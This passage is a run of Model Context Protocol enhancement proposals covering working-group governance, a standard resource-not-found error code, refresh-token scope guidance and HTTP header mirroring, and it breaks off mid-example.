| **WG Member** | Sustained contributor with demonstrated expertise | Counted for quorum (WGs only) |
| **Lead/Facilitator** | Operational leadership of the group | Sets agenda, facilitates, escalates |
Interest Groups primarily operate with Observers, Participants, and Facilitators. IGs may adopt the WG Member tier if their work warrants formal decision-making, but are not required to.
**Becoming a WG Member (WGs, and IGs that adopt the WG Member tier):**
* Sustained participation over 3 months
* Meaningful contributions (code, spec text, reviews, or documentation)
* Nomination by existing WG Member or Lead
* No objections from Leads, Core Maintainers, or Lead Maintainers within 7 days
**WG Member Responsibilities:**
* Continue contributing in good faith
* Maintain name, organization, and Discord name in the respective group's member list
**Active vs. Emeritus:** WG Members who do not participate for 3 consecutive months are moved to emeritus status and may return by demonstrating renewed participation.
#### 1.4 Decision-Making Process
This section applies primarily to Working Groups, which make binding decisions (consensus on technical designs, spec changes, etc.). Interest Groups typically operate by rough consensus in discussions and do not make binding decisions — their output is recommendations, problem statements, and use cases. IGs that adopt the WG Member tier may use this process for internal decisions.
**WG Consensus** is achieved through the following progression. Each step is attempted before moving to the next:
**Step 1: Lazy Consensus (default)**
* Proposals announced with clear deadline (5 days minimum for minor items, 10 days for significant items)
* Silence is consent
* Any WG Member may block with documented objection
* Blocks must propose alternatives or clear criteria for resolution
* If no blocks are raised by the deadline, the proposal is accepted
**Step 2: Formal Vote (when lazy consensus is blocked)**
A formal vote is triggered when:
* A WG Member blocks during the lazy consensus period
* A Lead or three or more WG Members request a formal vote
Voting rules:
* Quorum: 50% of active WG Members
* Passage: Simple majority for routine matters; 2/3 majority for scope changes
* Core Maintainer feedback is advisory unless explicitly stated as binding
* All votes documented with rationale
**Step 3: Escalation (when voting does not resolve)**
If a vote fails to resolve the matter (no quorum, does not pass, or the result is contested), the Lead escalates to Core Maintainers following the escalation path defined below.
#### 1.5 Escalation Path
For technical and design disagreements within a group's scope, groups should resolve disagreements locally before involving Core Maintainers. For WGs, this means using the decision-making progression (lazy consensus → vote → escalation). For IGs, the Facilitator should attempt to find rough consensus before escalating.
Some disagreements are not appropriate for group-level resolution and should be escalated directly to Core Maintainers:
* Scope disputes (whether a topic falls within the group's charter)
* Authority disputes (whether the group has the right to decide a matter)
* Cross-group conflicts (disagreements spanning multiple WGs or IGs)
* Code of conduct or behavioral concerns
* Membership or participation disputes
When escalation is necessary:
1. Lead documents the decision, options considered, and points of disagreement
2. Lead presents the escalation to the Core Maintainer group with a clear ask
3. The Core Maintainer group designates a CM—who should not share organizational affiliation with the parties involved—to resolve the issue and report back to the group
4. The designated CM either: (a) provides binding guidance, (b) requests more information, or (c) recommends the full Core Maintainer group deliberate
5. Timeline: Escalations should receive initial response within 5 business days
#### 1.6 Meeting Requirements
Leads determine meeting frequency, format, and duration based on the group's current needs and lifecycle stage. There is no fixed cadence requirement — a WG near a specification release may meet weekly, while an IG in early exploration may meet monthly or work primarily asynchronously.
Regardless of format or frequency, all group meetings must:
* Be open to all community participants (no closed or organization-internal meetings)
* Be published on [meet.modelcontextprotocol.io](https://meet.modelcontextprotocol.io) at least 7 days in advance
* Have agendas published and publicly available. The agenda or a link to the agenda should be published as a [GitHub Discussion in the Meeting Notes category](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/)
* Have notes published within 48 hours to the same discussion
Leads should actively involve WG Members and Participants in operational duties such as preparing agendas, taking meeting notes, and facilitating discussions.
#### 1.7 Communication Channels
All groups use the following channels:
| Channel | Purpose | Response Expectation |
| ------------------------------------ | ------------------------------ | -------------------- |
| Discord `#{name}-wg` or `#{name}-ig` | Quick questions, coordination | Best effort |
| GitHub Discussions | Long-form technical discussion | Weekly triage |
In addition to Discord, groups can establish a discussion category in the [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/). Leads will be granted the appropriate roles to manage and moderate discussions.
#### 1.8 Reporting
**Working Groups** provide quarterly updates (end of January, April, July, October) including:
* Progress against deliverables
* Blocked items and escalations
* Membership changes
* Upcoming priorities
* Resource needs
The quarterly updates are provided as a document posted in the [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/) category of the Working Group. They are optionally discussed
with the Core Maintainers in a core maintainer meeting.
**Interest Groups** do not have formal reporting requirements but should keep their charter and member list current.
#### 1.9 Lifecycle
**Working Group Formation:**
* There must be a widely acknowledged concern requiring coordination
* PR for creation of WG into `docs/community//overview.mdx`, gated by CODEOWNERS requiring approval by Maintainers
* PR for charter into `docs/community//charter.mdx`, gated by CODEOWNERS requiring approval from a single Core Maintainer (who should notify all Core Maintainers)
* Initial member list approved by WG Lead
**Interest Group Formation:**
* Fill out the creation template in the `#wg-ig-group-creation` channel on [Discord](https://discord.gg/6CSzBmMkjX)
* A Core Maintainer reviews the proposal; the IG and its Facilitator(s) must be sponsored by at least two Core Maintainers or one Lead Maintainer
* Once sponsored, the Facilitator(s) organize the IG and create a charter
**Retirement:**
* **WGs**: WG Lead or Core Maintainer proposes retirement with rationale; Core Maintainer or Lead Maintainer approval required. WGs are also retired when they have no active work for a sustained period or have completed all planned deliverables.
* **IGs**: Core Maintainers or Lead Maintainers may retire an IG that is no longer active or needed.
* In both cases, documentation is archived and channels are marked inactive.
#### 1.10 Charter Amendments
Changes to a group's charter (WG or IG) require:
* Proposal by Lead/Facilitator or Core Maintainer
* Approval by Core Maintainers
***
### Part 2: Charter Template
Every MCP Working Group and Interest Group must maintain a charter document following this template structure. Charters are stored as MDX files at `docs/community//charter.mdx` in the modelcontextprotocol repository and added to the `docs/docs.json` file. A copyable version of this template is published at [`docs/community/charter-template.mdx`](/community/charter-template).
The charter captures information specific to each group. Governance rules from Part 1 apply automatically and do not need to be repeated in the charter. Sections marked **(WG only)** are required for Working Groups but optional for Interest Groups.
#### 1. Group Type
State whether this is a **Working Group** or an **Interest Group**.
#### 2. Mission Statement
A 2-3 sentence summary of the group's purpose, articulating:
* The problem space being addressed
* Why cross-cutting collaboration is needed
* For WGs: what concrete deliverables the group will produce
* For IGs: what discussions and knowledge-sharing the group will facilitate
*WG Example:*
> The Transport Working Group exists to evolve MCP's transport mechanisms to support diverse deployment scenarios—from local subprocess communication to horizontally-scaled cloud deployments—while maintaining protocol coherence and backward compatibility.
*IG Example:*
> The Enterprise IG explores the challenges of deploying MCP in enterprise environments, gathering use cases and requirements to inform future specification work.
#### 3. Scope
**In Scope**: Enumerated responsibilities.
For WGs, this includes:
* Specification Work: Specific spec sections or SEPs owned
* Reference Implementations: SDK components or reference implementations
* Cross-Cutting Concerns: Areas requiring coordination with other groups
* Documentation: Documentation responsibilities
For IGs, this includes:
* Topic areas for discussion
* Types of output (problem statements, use cases, recommendations)
**Out of Scope**: Explicit statements of what is NOT within the group's purview to prevent mission creep.
**Related Groups**: List of other WGs or IGs with intersecting work and nature of overlap.
#### 4. Leadership
**Leads/Facilitators** table with:
* Role, Name, Organization, GitHub handle, Term
Leadership requirements and responsibilities are defined in the governance rules (Sections 1.1 and 1.2).
#### 5. Authority & Decision Rights (WG only)
Each WG must explicitly define its decision authority. The decision-making process and escalation path are defined in the governance rules (Sections 1.4 and 1.5). This section documents which decisions the WG can make at which authority level.
*Example:*
| Decision Type | Authority Level |
| ----------------------------------- | ------------------------------------------------------ |
| Meeting logistics & scheduling | WG Leads (autonomous) |
| Proposal prioritization within WG | WG Leads (autonomous) |
| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) |
| Technical design within scope | WG consensus |
| Spec changes (additive) | WG consensus → Core Maintainer approval |
| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review |
| Scope expansion | Core Maintainer approval required |
| WG Member approval | WG Member sponsors |
IGs do not make binding decisions and do not need this section.
#### 6. Membership
List current group members and their participation levels, if any. Leave out if no members exist yet.
Participation tiers and membership criteria are defined in the governance rules (Section 1.3).
#### 7. Operations
Document the group's current meeting approach. Meeting requirements and communication channels are defined in the governance rules (Sections 1.6 and 1.7).
*Example:*
| Meeting | Frequency | Duration | Purpose |
| --------------- | --------------- | -------- | ------------------------------------- |
| Working Session | Weekly/Biweekly | 60 min | Technical discussion, proposal review |
| Office Hours | Monthly | 30 min | Open Q\&A for newcomers and observers |
#### 8. Deliverables & Success Metrics (WG only)
**Active Work Items:**
| Item | Status | Target Date | Champion |
| ------------- | --------------------- | ----------- | -------- |
| SEP-XXX: Name | Draft/Review/Approved | Date | Name |
**Success Criteria:** Measurable outcomes for WG success.
Quarterly reporting requirements are defined in the governance rules (Section 1.8).
IGs do not track formal deliverables but may list current discussion topics or planned outputs (problem statements, recommendations, etc.) in their charter.
#### 9. Changelog
Track charter versions with date and changes.
## Rationale
### Why Separate Governance from Charter Template?
Separating fixed governance rules from the per-group charter template makes it clear what is consistent across all groups (decision-making, membership tiers, escalation) versus what each group defines for itself (scope, leadership roster, deliverables). This prevents groups from accidentally diverging on process while preserving flexibility where it matters.
### Why Cover Both WGs and IGs?
Working Groups and Interest Groups serve different purposes but share common operational needs — leadership, meeting requirements, communication channels, and escalation paths. A unified governance framework ensures consistency while clearly articulating where IGs have lighter requirements (no formal decision authority, no deliverables tracking, no quarterly reporting).
### Why a Standardized Template?
Standardization:
* Ensures all groups address critical governance questions
* Makes it easier for community members to understand any group's operations
* Reduces overhead for forming new groups
* Creates accountability through explicit documentation
### Why Explicit Authority Tables?
The authority table directly addresses the "unclear authority" feedback. By enumerating decision types and required approvals, WGs and community members know exactly what can be decided autonomously versus what needs escalation. IGs are exempt from this because they produce recommendations, not binding decisions.
### Why Tiered Participation?
Different engagement levels serve different community needs:
* **Observers** can learn without commitment
* **Participants** can contribute without full WG Member responsibilities
* **WG Members** take on accountability and get decision rights (primarily WGs)
* **Leads/Facilitators** provide operational continuity
### Why Lazy Consensus as Default?
Lazy consensus:
* Enables efficient decision-making for routine matters
* Reduces meeting burden
* Documents decisions through announcement/deadline structure
* Preserves blocking rights for substantive concerns
Voting is reserved for contested or high-impact decisions.
### Model Inspiration
This template is adapted from Kubernetes governance structures and tailored for MCP's specific needs identified through community interviews.
## Backward Compatibility
### Transition for Existing Groups
Working Groups and Interest Groups that exist at the time this SEP is accepted are grandfathered in — they are recognized as valid groups and do not need to re-apply through the formation process defined in Section 1.9.
However, existing groups must create a charter conforming to the template in Part 2 within **8 weeks** of this SEP's acceptance. During this transition period:
* Existing groups continue to operate under their current processes
* Leads/Facilitators are responsible for drafting the charter
* Core Maintainers will review and approve both WG and IG charters
* Groups that do not produce a charter within 8 weeks will be considered inactive and subject to retirement
## Security Implications
No direct security implications. However, clear authority delegation and decision processes indirectly support security by ensuring decisions are made at appropriate levels with proper accountability.
## Reference Implementation
This SEP is implemented by:
1. `docs/community/working-interest-groups.mdx` — governance rules (Part 1) published as the Working and Interest Groups page on modelcontextprotocol.io
2. `docs/community/charter-template.mdx` — copyable charter template (Part 2) linked from the above
3. Both pages added to `docs/docs.json` under the Community → Governance navigation group
4. Existing WGs and IGs must create conforming charters at `docs/community//charter.mdx` within 8 weeks of acceptance
# SEP-2164: Standardize Resource Not Found Error Code
Source: https://modelcontextprotocol.io/seps/2164-resource-not-found-error
Standardize Resource Not Found Error Code
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 2164 |
| **Title** | Standardize Resource Not Found Error Code |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2026-01-28 |
| **Author(s)** | Peter Alexander ([@pja-ant](https://github.com/pja-ant)) |
| **Sponsor** | None (seeking sponsor) |
| **PR** | [#2164](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2164) |
***
## Abstract
The current MCP specification [recommends `-32002`](https://modelcontextprotocol.io/specification/draft/server/resources#error-handling) as the error code for resource not found. However, `-32002` falls within the JSON-RPC "server error" range (`-32000` to `-32099`) which is reserved for implementation-defined errors, not protocol-level semantics. Additionally, SDK implementations are inconsistent — only 4 of 6 official SDKs use `-32002`, while the TypeScript SDK uses `-32602` and the Python SDK uses `0`.
This SEP standardizes on `-32602` (Invalid Params), the correct JSON-RPC error code for this case, and aligns the specification with the JSON-RPC standard.
## Motivation
Current SDK implementations vary in their error handling for resource not found:
| SDK | Current Error Code | Source |
| ---------- | -------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| TypeScript | `-32602` (InvalidParams) | [mcp.ts#L561](https://github.com/modelcontextprotocol/typescript-sdk/blob/main/packages/server/src/server/mcp.ts#L561) |
| Python | `0` (generic) | [server.py#L790](https://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/lowlevel/server.py#L790) |
| C# | `-32002` (custom RESOURCE\_NOT\_FOUND) | [McpServerImpl.cs#L289](https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.Core/Server/McpServerImpl.cs#L289) |
| Rust | `-32002` (custom RESOURCE\_NOT\_FOUND) | [model.rs#L450](https://github.com/modelcontextprotocol/rust-sdk/blob/main/crates/rmcp/src/model.rs#L450) |
| Java | `-32002` (custom RESOURCE\_NOT\_FOUND) | [McpAsyncServer.java#L732](https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/McpAsyncServer.java#L732) |
| Go | `-32002` (custom RESOURCE\_NOT\_FOUND) | [server.go#L786](https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/server.go#L786) |
| Kotlin | `-32603` (INTERNAL\_ERROR) | [Server.kt#L618-L621](https://github.com/modelcontextprotocol/kotlin-sdk/blob/main/kotlin-sdk-server/src/commonMain/kotlin/io/modelcontextprotocol/kotlin/sdk/server/Server.kt#L618-L621) |
| PHP | `-32002` (custom RESOURCE\_NOT\_FOUND) | [Error.php#L37](https://github.com/modelcontextprotocol/php-sdk/blob/main/src/Schema/JsonRpc/Error.php#L37) |
| Ruby | N/A (left to implementor) | [server.rb#L375-L379](https://github.com/modelcontextprotocol/ruby-sdk/blob/main/lib/mcp/server.rb#L375-L379) |
| Swift | N/A (no built-in handler) | N/A |
This inconsistency means clients cannot reliably detect resource-not-found conditions across implementations. Of the 8 SDKs with built-in resource handling, four different error codes are used: `-32002` (C#, Rust, Java, Go, PHP), `-32602` (TypeScript), `-32603` (Kotlin), and `0` (Python). Ruby and Swift leave error handling to the server implementor. Clients that need to distinguish "resource not found" from other errors must handle all variants.
## Specification
If the requested resource does not exist, servers MUST return a JSON-RPC error with code `-32602` (Invalid Params):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"error": {
"code": -32602,
"message": "Resource not found",
"data": {
"uri": "file:///nonexistent.txt"
}
}
}
```
The `data` field SHOULD include the `uri` that was not found.
Servers MUST NOT return an empty `contents` array for a non-existent resource. An empty array is ambiguous — it could mean the resource exists but has no content, or that it doesn't exist at all.
## Rationale
### Why `-32602` (Invalid Params)?
`-32602` is the standard JSON-RPC error code for invalid parameters. A non-existent URI is semantically an invalid parameter — the client provided a URI that doesn't correspond to any resource. This aligns with the TypeScript SDK's existing behavior and avoids introducing custom error codes outside the JSON-RPC reserved range.
### Why Not a Custom Error Code?
Several SDKs use `-32002` (RESOURCE\_NOT\_FOUND), but:
* Custom codes in the `-32000` to `-32099` range are "reserved for implementation-defined server errors" per JSON-RPC spec, not for protocol-level semantics
* Adding a protocol-defined custom code requires all clients to be updated to recognize it
* `-32602` already has the correct meaning and is universally understood by JSON-RPC libraries
## Backward Compatibility
This changes what is specified — the current spec recommends `-32002`, and this SEP changes it to `-32602`. However, since the current recommendation is not consistently followed across SDKs (only 5 of 10 use `-32002`), clients cannot rely on any single error code today. This means the practical impact on clients is minimal — any client robust enough to work across existing SDKs already handles multiple error codes or treats all errors generically.
### Migration Path
1. SDKs should update their resource-not-found error code to `-32602`
2. During the transition, clients SHOULD handle both `-32602` and `-32002` as resource-not-found
3. The specification should document `-32602` as the canonical error code
## Security Implications
None. This change only affects error code values, not access control or data exposure.
# SEP-2207: OIDC-Flavored Refresh Token Guidance
Source: https://modelcontextprotocol.io/seps/2207-oidc-refresh-token-guidance
OIDC-Flavored Refresh Token Guidance
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 2207 |
| **Title** | OIDC-Flavored Refresh Token Guidance |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2026-02-04 |
| **Author(s)** | Wils Dawson ([@wdawson](https://github.com/wdawson)) |
| **Sponsor** | Paul Carleton ([@pcarleton](https://github.com/pcarleton)) |
| **PR** | [#2207](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2207) |
***
## Abstract
This proposal provides guidance for MCP implementations regarding refresh token
issuance and requests, particularly when Authorization Servers support the
`offline_access` scope. The `offline_access` scope originated in OIDC but can be
adopted by any OAuth 2.1 Authorization Server as a mechanism to let clients
explicitly request refresh tokens. This SEP clarifies the expected behavior for
both Authorization Servers and MCP Clients when working with this pattern.
## Motivation
MCP's authorization mechanism is based on OAuth 2.1, but many real-world
deployments use Authorization Servers that also implement OpenID Connect (OIDC).
A key difference between pure OAuth and OIDC is how refresh tokens are handled:
* In **pure OAuth 2.1**, there is no standard mechanism for a client to
explicitly request a refresh token. The Authorization Server determines
whether to issue one based on the client's capabilities (e.g., the
`refresh_token` grant type in client metadata) and its own policies.
* In **OIDC** (and Authorization Servers that adopt this convention), the
`offline_access` scope exists to allow clients to explicitly request refresh
tokens, in addition to the OAuth logic.
This creates several problems in the MCP ecosystem:
1. **Clients aren't requesting refresh tokens**: Major MCP clients (Cursor,
Claude, VS Code, etc.) aren't explicitly asking for refresh tokens via the
`offline_access` scope because they don't know whether the Authorization
Server supports, expects, or requires it.
2. **Resource servers shouldn't specify `offline_access`**: The `offline_access`
scope is not a resource-specific scope—it's a concern between the client and
Authorization Server. Including it in the `WWW-Authenticate` header's `scope`
parameter or in the Protected Resource Metadata's `scopes_supported` would be
semantically incorrect since it implies the resource *requires* refresh
tokens, which it never would.
3. **Authorization Servers can be inconsistent**: When processing an
authorization code grant, different Authorization Servers may have different
behavior when issuing refresh tokens to different clients, especially when
the client doesn't specify `refresh_token` as a grant type or request the
`offline_access` scope.
4. **Interoperability gap**: Without this guidance, implementations may behave
inconsistently, leading to poor user experience (frequent re-authentication)
or security issues (issuing refresh tokens to clients that can't securely
store them).
## Specification
### MCP Client Requirements
MCP Clients that intend to use refresh tokens and are capable of storing them
securely **SHOULD** follow these guidelines:
1. **Advertise capability**: Clients **SHOULD** include `refresh_token` in their
`grant_types` client metadata to indicate they support refresh tokens.
2. **Scope augmentation**: When the client desires a refresh token and the
Authorization Server metadata contains `offline_access` in its
`scopes_supported` field, the client **MAY** add the `offline_access` scope
to the list of scopes from the resource server before making authorization
requests to the Authorization Server.
3. **No guarantee**: Clients **MUST NOT** assume that advertising support or
requesting `offline_access` guarantees they will receive a refresh token. The
Authorization Server retains discretion based on its policies.
### MCP Server (Resource Server) Requirements
MCP Servers (acting as OAuth 2.0 Protected Resources):
1. **SHOULD NOT** include `offline_access` in the `scope` parameter of
`WWW-Authenticate` headers, as refresh tokens are not a resource requirement.
2. **SHOULD NOT** include `offline_access` in `scopes_supported` in Protected
Resource Metadata, as it is not a resource-specific scope.
## Rationale
### Why not require `offline_access` in the 401 response?
The `offline_access` scope is fundamentally different from resource-specific
scopes. It represents a client's desire for long-lived access, not a
requirement of the resource. Per
[OAuth 2.1 Section 5.3.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5.3.1),
the `scope` attribute in `WWW-Authenticate` indicates "the required scope of the
access token for accessing the requested resource." Since the resource doesn't
require `offline_access`, including it would be semantically incorrect.
### Why check client metadata for grant types? Why not always issue refresh tokens?
OAuth 2.1 requires clients to register their supported grant types. A client
that doesn't support the `refresh_token` grant either:
* Cannot securely store refresh tokens
* Has no mechanism to use them
Issuing refresh tokens to such clients wastes Authorization Server resources
(tracking tokens that will never be used) and may pose security risks if the
tokens are leaked.
### Why allow `offline_access` as an alternative signal?
Some Authorization Servers—whether fully OIDC-compliant or simply adopting this
convention—only issue refresh tokens when `offline_access` is explicitly
requested. Supporting this pattern provides a compatible path for such
deployments. Clients can detect Authorization Servers that support this
convention by checking for `offline_access` in `scopes_supported` in the
Authorization Server Metadata and adapt their behavior accordingly.
### Alternative approaches considered
1. **Mandate `offline_access` in resource responses**: Rejected because it
misrepresents the resource's requirements and creates an anti-pattern.
2. **Always issue refresh tokens**: Rejected because it ignores client
capabilities and Authorization Server security policies.
3. **Separate OIDC-specific specification**: Rejected in favor of a unified
approach that works for both pure OAuth and OIDC deployments.
4. **Provide guidance for Authorization Servers**: Rejected in favor of
relying on OAuth and OIDC specs for this guidance as it can vary.
## Backward Compatibility
This proposal is fully backward-compatible:
* Clients that already request `offline_access` continue to work
* Authorization Servers that already check client capabilities continue to work
* MCP Servers are not required to make any changes
* The guidance is additive and does not change existing required behavior
Implementations that don't follow this guidance may experience suboptimal
behavior (missing refresh tokens or unnecessary token issuance) but will remain
functional.
## Security Implications
### Positive security implications
1. **Reduced token leakage risk**: By not issuing refresh tokens to clients that
don't advertise support, we reduce the risk of long-lived tokens being stored
insecurely.
2. **Defense in depth**: The risk-based assessment step gives Authorization Servers
flexibility to implement additional security controls.
### Considerations
1. **Client metadata may not be sufficient**: Since client metadata is
self-reported, a malicious actor could register a client claiming
`refresh_token` grant support to obtain long-lived tokens. Authorization
Servers MAY use the risk-based assessment step (see Specification) to apply
additional restrictions—such as domain allowlists, reputation checks, or
verification requirements—rather than solely relying on client metadata
claims when deciding whether to issue refresh tokens.
2. **Scope injection**: Clients adding `offline_access` should ensure this
doesn't interfere with other scope-related logic or create unexpected
authorization prompts.
## Reference Implementation
Reference implementations demonstrating this guidance will be provided in the
official MCP SDKs:
* **TypeScript SDK**: Client-side `offline_access` scope handling
* **Python SDK**: Client-side `offline_access` scope handling
* **Authorization Server example**: Demonstration of client capability checking
* **Client conformance test**: Allowing for easy validation of SDK implementations
Links to implementations will be added once the SEP is accepted.
## Acknowledgments
This proposal was developed through discussion in the MCP Discord's
authorization channel, with input from:
* Aaron Parecki (OAuth/OIDC expertise)
* Paul Carleton (MCP authorization guidance)
* Simon Russell (OIDC deployment experience)
# SEP-2243: HTTP Header Standardization for Streamable HTTP Transport
Source: https://modelcontextprotocol.io/seps/2243-http-standardization
HTTP Header Standardization for Streamable HTTP Transport
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 2243 |
| **Title** | HTTP Header Standardization for Streamable HTTP Transport |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2026-02-04 |
| **Author(s)** | MCP Transports Working Group |
| **Sponsor** | None |
| **PR** | [#2243](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2243) |
***
## Abstract
This SEP proposes exposing critical routing and context information in standard HTTP header locations for the Streamable HTTP transport. By mirroring key fields from the JSON-RPC payload into HTTP headers, network intermediaries such as load balancers, proxies, and observability tools can route and process MCP traffic without deep packet inspection, reducing latency and computational overhead.
## Motivation
Current MCP implementations over HTTP bury all routing information within the JSON-RPC payload. This creates friction for network infrastructure:
* **Load balancers** must terminate TLS and parse the entire JSON body to extract routing information (e.g., region, tool name)
* **Proxies and gateways** cannot make routing decisions without deep packet inspection
* **Observability tools** have limited visibility into MCP traffic patterns
* **Rate limiters and WAFs** cannot apply policies based on MCP-specific fields
By exposing key fields in HTTP headers, we enable standard network infrastructure to work with MCP traffic using existing, well-supported mechanisms.
## Specification
### Standard Headers
The Streamable HTTP transport will require POST requests to include the following headers mirrored from the request body:
| Header Name | Source Field | Required For |
| ------------ | ----------------------------- | ------------------------------------------------------ |
| `Mcp-Method` | `method` | All requests and notifications |
| `Mcp-Name` | `params.name` or `params.uri` | `tools/call`, `resources/read`, `prompts/get` requests |
These headers are **required** for compliance with the MCP version in which they are introduced.
**Server Behavior**: Servers that process the request body MUST reject requests where the values specified in the headers do not match the values in the request body.
> **Rationale**: This requirement prevents potential security vulnerabilities and error conditions that could arise when different components in the network rely on different sources of truth. For example, a load balancer or gateway might use the header values to make routing decisions, while the MCP server uses the body values for execution. This requirement applies to any network intermediary that processes the message body, as well as the MCP server itself.
> **Implementation Note**: When validating integer parameter values, servers SHOULD compare the header value and the body value numerically rather than as strings (e.g., `42.0` and `42` are considered equal).
**Case Sensitivity**: Header names (called "field names" in [RFC 9110](https://datatracker.ietf.org/doc/html/rfc9110#name-field-names)) are case-insensitive. Clients and servers MUST use case-insensitive comparisons for header names.
#### Example: tools/call Request
```http theme={null}
POST /mcp HTTP/1.1
Content-Type: application/json
Mcp-Session-Id: 1f3a4b5c-6d7e-8f9a-0b1c-2d3e4f5a6b7c
Mcp-Method: tools/call
Mcp-Name: get_weather
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "get_weather",
"arguments": {
"location": "Seattle, WA"
}
}
}
```
#### Example: resources/read Request
```http theme={null}
POST /mcp HTTP/1.1
Content-Type: application/json
Mcp-Session-Id: 1f3a4b5c-6d7e-8f9a-0b1c-2d3e4f5a6b7c
Mcp-Method: resources/read
Mcp-Name: file:///projects/myapp/config.json
{
"jsonrpc": "2.0",
"id": 2,
"method": "resources/read",
"params": {
"uri": "file:///projects/myapp/config.json"
}
}
```
#### Example: prompts/get Request
```http theme={null}
POST /mcp HTTP/1.1
Content-Type: application/json
Mcp-Session-Id: 1f3a4b5c-6d7e-8f9a-0b1c-2d3e4f5a6b7c
Mcp-Method: prompts/get
Mcp-Name: code_review
{
"jsonrpc": "2.0",
"id": 3,
"method": "prompts/get",
"params": {
"name": "code_review",
"arguments": {
"language": "python"
}
}
}
```
#### Example: Other Request Methods
For requests that don't involve tools, resources, or prompts, only the `Mcp-Method` header is required:
```http theme={null}
POST /mcp HTTP/1.1
Content-Type: application/json
Mcp-Method: initialize
{
"jsonrpc": "2.0",
"id": 4,
"method": "initialize",
"params": {
"protocolVersion": "2025-06-18",
"capabilities": {},
"clientInfo": {
"name": "ExampleClient",
"version": "1.0.0"
}
}
}
```
#### Example: Notification
Notifications also require the `Mcp-Method` header:
```http theme={null}
POST /mcp HTTP/1.1
Content-Type: application/json
Mcp-Session-Id: 1f3a4b5c-6d7e-8f9a-0b1c-2d3e4f5a6b7c
Mcp-Method: notifications/initialized
{
"jsonrpc": "2.0",
"method": "notifications/initialized"
}
```
### Custom Headers from Tool Parameters
MCP servers MAY designate specific tool parameters to be mirrored into HTTP headers using an `x-mcp-header` extension property in the parameter's schema within the tool's `inputSchema`.
**Client Requirement**: While the use of `x-mcp-header` is optional for servers, clients MUST support this feature. When a server's tool definition includes `x-mcp-header` annotations, conforming clients MUST mirror the designated parameter values into HTTP headers as specified in this document.
#### Schema Extension
The `x-mcp-header` property specifies the name portion used to construct the header name `Mcp-Param-{name}`.
**Constraints on `x-mcp-header` values**:
* MUST NOT be empty
* MUST match HTTP field-name token syntax (`1*tchar`, [RFC 9110 Section 5.1](https://datatracker.ietf.org/doc/html/rfc9110#section-5.1))
* MUST NOT contain control characters, including carriage return (CR, `\r`) or line feed (LF, `\n`)
* MUST be case-insensitively unique among all `x-mcp-header` values in the `inputSchema`
* MUST only be applied to parameters with primitive types (integer, string, boolean). Parameters with type `number` are not permitted. Integer values MUST be within the safe range for JavaScript (−2^53+1 to 2^53−1)
* MAY be applied to properties at any nesting depth within the `inputSchema`, not only top-level properties
Clients using the Streamable HTTP transport MUST reject tool definitions where any `x-mcp-header` value violates these constraints. Rejection means the client MUST exclude the invalid tool from the result of `tools/list`. Clients SHOULD log a warning when rejecting a tool definition, including the tool name and the reason for rejection. This behavior ensures that a single malformed tool definition does not prevent other valid tools from being used. Clients using other transports (e.g., stdio) MAY ignore `x-mcp-header` annotations entirely.
**Example Tool Definition**:
```json theme={null}
{
"name": "execute_sql",
"description": "Execute SQL on Google Cloud Spanner",
"inputSchema": {
"type": "object",
"properties": {
"region": {
"type": "string",
"description": "The region to execute the query in",
"x-mcp-header": "Region"
},
"query": {
"type": "string",
"description": "The SQL query to execute"
}
},
"required": ["region", "query"]
}
}
```
#### Example: Geo-Distributed Database
Consider a server exposing an `execute_sql` tool for Google Cloud Spanner, which requires a `region` parameter.
**Tool Definition**:
```json theme={null}
{
"name": "execute_sql",
"description": "Execute SQL on Google Cloud Spanner",
"inputSchema": {
"type": "object",
"properties": {
"region": {
"type": "string",
"description": "The region to execute the query in",
"x-mcp-header": "Region"
},
"query": {
"type": "string",
"description": "The SQL query to execute"
}
},
"required": ["region", "query"]
}
}
```
**Scenario**: A client requests to execute SQL in `us-west1`.
**Current Friction**: The global load balancer receives the request but must terminate TLS and parse the entire JSON body to find `"region": "us-west1"` before it knows whether to route the packet to the Oregon or Belgium cluster.
**With This Proposal**: The client detects the `x-mcp-header` annotation and automatically adds the header `Mcp-Param-Region: us-west1` to the HTTP request. The load balancer can now route based on the header without parsing the body.
**Request**:
```http theme={null}
POST /mcp HTTP/1.1
Content-Type: application/json
Mcp-Session-Id: 1f3a4b5c-6d7e-8f9a-0b1c-2d3e4f5a6b7c
Mcp-Method: tools/call
Mcp-Name: execute_sql
Mcp-Param-Region: us-west1
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_sql",
"arguments": {
"region": "us-west1",
"query": "SELECT * FROM users"
}
}
}
```
#### Example: Multi-Tenant SaaS Application
